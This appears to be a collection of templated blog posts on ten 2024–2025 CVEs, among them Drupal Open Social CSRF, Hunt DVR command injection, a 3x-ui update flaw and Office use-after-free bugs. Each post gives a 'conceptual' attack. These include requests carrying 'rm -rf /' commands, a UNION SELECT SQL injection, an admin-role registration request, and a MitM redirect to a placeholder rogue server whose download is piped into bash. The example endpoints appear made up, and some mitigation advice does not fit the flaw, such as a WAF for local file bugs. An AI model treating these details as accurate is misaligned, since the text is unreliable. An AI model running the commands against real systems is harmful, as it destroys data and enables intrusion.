Author: Ameeba

CVE-2025-48921: Cross-Site Request Forgery Vulnerability in Drupal Open Social
Overview

The vulnerability CVE-2025-48921 pertains to a significant security flaw within Drupal Open Social, a widely used social community software. This flaw is of the type Cross-Site Request Forgery (CSRF), a type of malicious exploit of a website, whereby unauthorized commands are transmitted from a user that the application trusts. It’s critical for developers, security professionals, and Drupal Open Social users to understand this vulnerability, given its high severity score and potential for system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-48921
Severity: High (CVSS: 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Drupal Open Social | 0.0.0 before 12.3.14
Drupal Open Social | 12.4.0 before 12.4.13

How the Exploit Works

A Cross-Site Request Forgery (CSRF) attack occurs when a malicious website, email, blog, instant message, or program causes a user’s web browser to perform an unwanted action on a trusted site for which the user is authenticated. In the case of CVE-2025-48921, an attacker can trick the victim into clicking a specially crafted URL that can execute unwanted actions on the Drupal Open Social platform. The attacker’s commands are executed with the privileges of the victim, potentially leading to system compromise or data leakage.

Conceptual Example Code

Below is a
conceptual
example of how the vulnerability might be exploited. This could be a sample HTTP request:
```
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
csrf_token=...&action=delete&target=userID
```
In this case, if the user clicks on a link or a button containing this request, it could potentially delete a user, given that the attacker has correctly guessed or obtained the CSRF token.

Mitigation Guidance

The best way to address this vulnerability is to apply the vendor-supplied patch. Users of Drupal Open Social versions from 0.0.0 before 12.3.14 and from 12.4.0 before 12.4.13 are advised to update to the latest version. In the interim, or if it is not immediately possible to apply the patch, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. It’s crucial to remember, however, that these are not long-term fixes and updating to a non-vulnerable version of the software should be the priority.
July 2, 2025
CVE-2025-6562: OS Command Injection Vulnerability in Hunt Electronic DVR Models
Overview

The vulnerability identified as CVE-2025-6562 is a severe and alarming security flaw that places the integrity of specific DVR models at risk. This vulnerability is present in certain hybrid DVR models from Hunt Electronic, notably the HBF-09KD and HBF-16NK. The flaw allows for an OS Command Injection vulnerability, an exploit that could permit remote attackers possessing regular privileges to inject and execute arbitrary OS commands on the device. Because of the high-risk potential for system compromise or data leakage, this vulnerability demands immediate attention and remediation.

Vulnerability Summary

CVE ID: CVE-2025-6562
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Hunt Electronic HBF-09KD | All Versions
Hunt Electronic HBF-16NK | All Versions

How the Exploit Works

The OS Command Injection vulnerability inherent in the identified DVR models allows for remote attackers to exploit the flaw by sending specially crafted requests to the device. These requests can contain malicious OS commands that, once processed by the vulnerable application, are executed within the host system environment. This execution occurs with the same privileges as the application, thereby leading to potential system compromise or data leakage.

Conceptual Example Code

A conceptual example of how the vulnerability might be exploited might look like the following HTTP request:
```
POST /execute/command HTTP/1.1
Host: target_device_ip
Content-Type: application/json
{ "command": "rm -rf /*" }
```
In this example, the HTTP request includes a JSON object with a command parameter that carries a destructive Linux command (`rm -rf /*`). This command, if executed, would delete all files in the system.
Please note that this is a conceptual example meant to illustrate the potential severity of the vulnerability. It should not be used to exploit any system.
July 2, 2025
CVE-2024-6174: Cloud-Init Root Access Vulnerability on Non-x86 Platforms
Overview

The cybersecurity world faces a new challenge with the discovery of a severe vulnerability designated CVE-2024-6174. This vulnerability significantly impacts cloud environments, particularly those running on non-x86 platforms. The core issue lies in the cloud-init component, which grants root access to a hardcoded URL with a local IP address when a non-x86 platform is detected. This blog post will delve into the specifics of this vulnerability, its potential impact, and how to mitigate it.
The importance of addressing this vulnerability promptly cannot be overstated. The vulnerability can potentially lead to system compromise or data leakage, posing a significant risk to the confidentiality, integrity, and availability of data and systems in the cloud environment.

Vulnerability Summary

CVE ID: CVE-2024-6174
Severity: High (8.8)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Cloud-Init | Versions < 20.3 How the Exploit Works

The exploit takes advantage of cloud-init’s default configurations that grant root access to a hardcoded local IP address when a non-x86 platform is detected. An attacker can use this vulnerability to compromise the system or leak data by sending malicious requests to the hardcoded URL. Once the attacker obtains root access, they can execute arbitrary commands, modify system configurations, or exfiltrate sensitive data.

Conceptual Example Code

Below is a conceptual example of how an attacker might exploit this vulnerability. The attacker sends a malicious payload to the hardcoded URL to gain root access.
```
POST /exploit HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
{ "command": "rm -rf / --no-preserve-root" }
```
In the example above, if the vulnerability is exploited successfully, the attacker sends a command to wipe out the entire file system, leading to a significant disruption of the system’s operation.

Mitigation

The most effective way to mitigate this vulnerability is to apply the vendor patch. Product teams are advised to update their cloud-init package to version 20.3 or higher, which contains the necessary fix for CVE-2024-6174.
As a temporary mitigation, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used. These systems can detect and block malicious requests to the hardcoded URL, helping to protect the system until the vendor patch is applied.
CVE-2024-6174 is a serious vulnerability that underscores the importance of robust security measures in cloud environments. Timely patching and continuous monitoring for suspicious activity are crucial in protecting systems and data from potential compromise.
July 2, 2025
CVE-2025-29331: Critical Remote Code Execution Vulnerability in MHSanaei 3x-ui
Overview

A critical vulnerability, identified as CVE-2025-29331, has been discovered in MHSanaei 3x-ui versions prior to v.2.5.3. This vulnerability allows a remote attacker to execute arbitrary code on the affected system, leading to potential system compromise or leakage of sensitive data. The risk associated with this vulnerability is significant due to the potential for remote attackers to gain unauthorized access to sensitive systems, which could lead to a multitude of negative outcomes, including data theft, system disruption, and unauthorized activities.

Vulnerability Summary

CVE ID: CVE-2025-29331
Severity: Critical (CVSS Severity Score: 9.8)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: Execution of arbitrary code leading to potential system compromise or data leakage.

Affected Products

Product | Affected Versions

MHSanaei 3x-ui | Versions before v.2.5.3

How the Exploit Works

The vulnerability stems from the absence of a certificate check in the management script x-ui when downloading updates via wget. This lack of validation allows an attacker to perform a Man-in-The-Middle (MitM) attack. During this attack, the attacker can intercept the update request and deliver a malicious payload instead of the requested update. Since the application does not verify the authenticity of the received update, it executes the malicious code, providing the attacker with access to the system.

Conceptual Example Code

Assuming the attacker is in a position to intercept network traffic, a conceptual example of exploiting this vulnerability might look like this:
```
# Attacker sets up a rogue server to serve malicious update
$ echo "malicious_code" > update.zip
# Attacker performs a MitM attack and redirects the update request to their rogue server
$ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j DNAT --to-destination <rogue_server_IP>
# The target MHSanaei 3x-ui system downloads and executes the "update", which is actually malicious code
$ wget --no-check-certificate http://legitimate_update_server/update.zip -O - | bash
```
This is a simplified illustration and actual exploitation would require more sophisticated techniques. The key takeaway is that without proper certificate verification, an attacker can deliver and execute malicious code on the target system.
July 2, 2025
CVE-2025-6561: Exposure of Sensitive Information in Hunt Electronic Hybrid DVR Models
Overview

In the world of cybersecurity, where the landscape is always evolving, a new vulnerability has been found that affects certain hybrid DVR models (HBF-09KD and HBF-16NK) from Hunt Electronic. This vulnerability, identified as CVE-2025-6561, allows unauthenticated remote attackers to directly access system configuration files, potentially leading to a compromise of the system or data leakage. Given the sensitive nature of the data that these DVR models are often tasked with handling, this vulnerability is of particular concern and warrants immediate attention.

Vulnerability Summary

CVE ID: CVE-2025-6561
Severity: Critical (9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Exposure of sensitive information leading to potential system compromise or data leakage

Affected Products

Product | Affected Versions

Hunt Electronic HBF-09KD | All versions
Hunt Electronic HBF-16NK | All versions

How the Exploit Works

This vulnerability arises due to improper access controls on the aforementioned DVR models. An unauthenticated remote attacker can directly access a system configuration file. This file contains plaintext administrator credentials, which can then be used to gain unauthorized access to the system. The potential for damage is significant, as an attacker could modify system settings, access sensitive data, or even gain full system control.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This HTTP request could potentially allow an attacker to access the system configuration file.
```
GET /system/config HTTP/1.1
Host: target.example.com
```
In response, the server might return the system configuration file, including plaintext administrator credentials. Please note that this is a simplified example; actual attacks may involve more complex tactics and obfuscation techniques.

Mitigation

The most effective way to mitigate this vulnerability is by applying the vendor-provided patch to the affected DVR models. In situations where this is not immediately possible, employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. These systems can help detect and prevent unauthorized access attempts while the patch is being applied.
In conclusion, the CVE-2025-6561 vulnerability in Hunt Electronic’s hybrid DVR models is a critical security issue that needs to be addressed promptly. By understanding the nature of the exploit and applying the appropriate mitigations, system administrators can protect their systems and data from potential compromise.
July 2, 2025
CVE-2025-37101: Privilege Escalation Vulnerability in HPE OneView for VMware vCenter
Overview

The cybersecurity landscape is persistent in presenting new challenges and threats. One of the latest vulnerabilities to make a mark is CVE-2025-37101, a high-risk vulnerability that poses significant threats to users of HPE OneView for VMware vCenter (OV4VC). This vulnerability is particularly concerning as it allows an attacker with read-only privileges to exploit Vertical Privilege Escalation, enabling the operator to perform admin actions. This blog post aims to provide an in-depth understanding of the vulnerability, its potential impact, and the steps that can be taken to mitigate the risk.

Vulnerability Summary

CVE ID: CVE-2025-37101
Severity: High (CVSS: 8.7)
Attack Vector: Network
Privileges Required: Low (Read-only)
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

HPE OneView for VMware vCenter | All versions up to the most recent release

How the Exploit Works

The vulnerability resides in the insufficient permission checks in the OV4VC. An attacker with a standard read-only account could exploit this vulnerability by sending a specially crafted request to the server. Once the server processes this request, the attacker could escalate their privileges from a read-only user to an admin, thereby gaining unauthorized access to privileged information and functionalities.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This might involve sending a malicious HTTP request:
```
POST /ov4vc/escalation HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "privilege": "admin" }
```
This request could potentially enable the attacker to escalate their privileges and gain control over the system.

Mitigation Measures

Addressing the CVE-2025-37101 vulnerability requires immediate action. The vendor, HPE OneView, has released a patch that fixes the vulnerability. It is strongly recommended that all users apply this patch without delay.
For temporary mitigation, users could deploy a Web Application Firewall (WAF) or Intrusion Detection System (IDS). These solutions can help detect and prevent potential exploit attempts. However, it’s essential to understand that these are temporary solutions that don’t address the core vulnerability. For complete mitigation, the application of the vendor patch is crucial.

Conclusion

The CVE-2025-37101 vulnerability presents a significant threat to the cybersecurity landscape. It’s a stark reminder of the need for constant vigilance and swift action when vulnerabilities are identified. Users of HPE OneView for VMware vCenter are urged to apply the vendor patch immediately to secure their systems and data.
July 2, 2025
CVE-2025-5590: Time-Based SQL Injection Vulnerability in Owl Carousel Plugin for WordPress
Overview

The Common Vulnerabilities and Exposures system has identified a severe vulnerability, tagged as CVE-2025-5590, within the Owl Carousel plugin for WordPress. This plugin, popular for its responsive carousel function, is susceptible to time-based SQL Injection attacks via the ‘id’ parameter, affecting all versions up to and including 1.9. It is crucial to address this vulnerability promptly as it can compromise systems and lead to data leakage, posing a serious risk to a vast number of websites employing WordPress and the Owl Carousel plugin.

Vulnerability Summary

CVE ID: CVE-2025-5590
Severity: High (8.8 CVSS Severity Score)
Attack Vector: Network
Privileges Required: Low (Contributor-level access)
User Interaction: Required
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Owl Carousel Plugin for WordPress | Up to and including 1.9

How the Exploit Works

The vulnerability arises from insufficient escaping on the user-supplied ‘id’ parameter and lack of adequate preparation on the existing SQL query within the Owl Carousel plugin. Consequently, authenticated attackers possessing Contributor-level access or above can exploit this vulnerability by appending additional SQL queries into existing ones. This manipulation can extract sensitive information from the database, compromising the system and potentially leading to data leakage.

Conceptual Example Code

Below is a conceptual HTTP POST request illustrating how an attacker might exploit this vulnerability:
```
POST /wp-admin/admin-ajax.php?action=owl_carousel HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
id=1 UNION SELECT 1,@@version -- -
```
In this example, the attacker is injecting a SQL query (`UNION SELECT 1,@@version`) via the ‘id’ parameter. This query retrieves the version of the database software. The `– -` at the end is a comment marker that ensures any additional SQL code after the injection is ignored, preventing syntax errors.

Mitigation Measures

To mitigate this vulnerability, users are advised to apply the vendor patch as soon as it becomes available. In the interim, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be deployed as temporary mitigation. Regularly updating and patching software, employing strong access controls, and monitoring system logs can also help guard against such vulnerabilities.
July 2, 2025
CVE-2025-29978: Use After Free Vulnerability in Microsoft Office PowerPoint Allowing Unauthorized Local Code Execution
Overview

In this blog post, we will be diving deep into a recently identified vulnerability tagged as CVE-2025-29978. This critical vulnerability resides in Microsoft Office’s PowerPoint software and can potentially allow an unauthorized attacker to execute code locally on the victim’s machine. The widespread usage of Microsoft Office makes this a high-risk vulnerability that can potentially affect millions of users, underlining its significance in the cybersecurity realm.

Vulnerability Summary

CVE ID: CVE-2025-29978
Severity: High (7.8 CVSS Score)
Attack Vector: Local
Privileges Required: None
User Interaction: Required
Impact: Can lead to system compromise and potential data leakage

Affected Products

Product | Affected Versions

Microsoft Office PowerPoint | All versions till patch released

How the Exploit Works

This flaw is a ‘use after free’ vulnerability. This type of vulnerability surfaces when a program continues to use a pointer after it has been freed. In the context of CVE-2025-29978, an attacker could craft a malicious PowerPoint file that, when opened, triggers the vulnerability, allowing the attacker to execute code on the victim’s machine. This code could be used to compromise the system or extract sensitive data.

Conceptual Example Code

While it’s not feasible to provide exact exploit code, the following pseudocode provides a conceptual overview of what an attack might look like:
```
def exploit(target_file):
# Create a malicious object
malicious_object = create_malicious_object()
# Open the target PowerPoint file
ppt_file = open(target_file, 'r+b')
# Embed the malicious object into the PowerPoint file
embed_object(ppt_file, malicious_object)
# Save the modified file
ppt_file.save(target_file)
# The malicious PowerPoint file is now set to exploit the vulnerability when opened
```
This pseudocode is a simplified representation of an exploit. The actual exploit would be more complex and would depend on the specific details of the vulnerability.

Mitigation and Prevention

At the time of writing this post, Microsoft has released a patch to address this vulnerability. Users are urged to apply this patch as soon as possible to ensure their systems are secure. In cases where immediate patching is not feasible, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can offer temporary mitigation. However, these are not foolproof solutions and patching should be the ultimate goal.
Remember, staying updated on the latest patches and practicing good cybersecurity hygiene are your best defences against potential threats.
July 2, 2025
CVE-2025-4334: Critical Privilege Escalation Vulnerability in Simple User Registration Plugin for WordPress
Overview

The Simple User Registration plugin for WordPress, a popular tool used for streamlining user registration processes on numerous websites, is facing a serious security issue. The vulnerability, designated as CVE-2025-4334, allows for privilege escalation and can potentially lead to system compromise or data leakage. The vulnerability exists in all versions of the plugin up to and including 6.3. This issue is particularly critical due to the widespread use of WordPress, which means a large number of websites could potentially be affected.

Vulnerability Summary

CVE ID: CVE-2025-4334
Severity: Critical (9.8 CVSS score)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: System Compromise, Data Leakage

Affected Products

Product | Affected Versions

Simple User Registration Plugin for WordPress | Up to and including 6.3

How the Exploit Works

The vulnerability originates from the inadequate restrictions on user meta values that can be supplied during the registration process. An attacker can manipulate these values to register as an administrator without the need for authentication. Once the attacker has admin privileges, they can compromise the system or leak sensitive data.

Conceptual Example Code

To exemplify, an attacker could potentially send a manipulated HTTP POST request to the registration endpoint, using a JSON object with malicious content to exploit the vulnerability. This could look something like:
```
POST /wp-json/user-registration/v1/users HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"username": "attacker",
"email": "attacker@example.com",
"password": "Password123",
"role": "administrator"
}
```
In the above example, the `”role”: “administrator”` line is the crucial point. This is where the attacker assigns themselves an admin role during the registration process. Under normal circumstances, the system should not allow this, but due to the vulnerability in the plugin, the system fails to adequately check and restrict these meta values.

Mitigation and Remediation

The most straightforward way to mitigate this vulnerability is to apply the patch provided by the vendor. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor and control incoming traffic can serve as a temporary mitigation strategy. These tools could potentially identify and block attempts to exploit the vulnerability.
Finally, it is crucial to regularly update all software, including plugins, as outdated software is often a prime target for cyber attackers exploiting known vulnerabilities.
July 2, 2025
CVE-2025-29977: Use After Free Vulnerability in Microsoft Office Excel
Overview

A critical vulnerability has been identified in Microsoft Office Excel, a widely used spreadsheet application, which could potentially allow an unauthorized attacker to execute arbitrary code on a victim’s system. This flaw, assigned the identification number CVE-2025-29977, is a ‘use-after-free’ vulnerability, a type of security bug that can lead to malicious code execution or even total system compromise.
The vulnerability is of significant concern due to the widespread usage of Microsoft Office Excel across various fields including business, academia, and personal computing. The potential for data leakage or system compromise makes this vulnerability a pressing issue that requires immediate attention.

Vulnerability Summary

CVE ID: CVE-2025-29977
Severity: High (7.8/10)
Attack Vector: Local
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Microsoft Office Excel | All versions prior to the patch

How the Exploit Works

The vulnerability arises from a use-after-free condition in Microsoft Office Excel. In a use-after-free scenario, a section of the memory is used after it has been freed, leading to unexpected behavior such as crashing the program or, in this case, allowing for arbitrary code execution.
The flaw can be exploited when an attacker tricks a user into opening a specially crafted Excel file containing malicious code. Once the file is opened, the code is executed locally, potentially leading to system compromise or data leakage.

Conceptual Example Code

Here is a
conceptual
example of how the vulnerability might be exploited:
```
# Command to open a malicious Excel file
open "/path/to/malicious/file.xls"
```
In this conceptual example, an attacker would craft a malicious Excel file and trick the user into opening it. Once opened, the malicious code contained within the file would execute, exploiting the use-after-free vulnerability.

Mitigation Guidance

To mitigate the effects of this vulnerability, users are strongly advised to apply the patch provided by Microsoft as soon as it is available. As a temporary measure, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help detect and prevent exploitation attempts. Regularly updating and patching software can also go a long way in preventing such vulnerabilities from being exploited.
July 2, 2025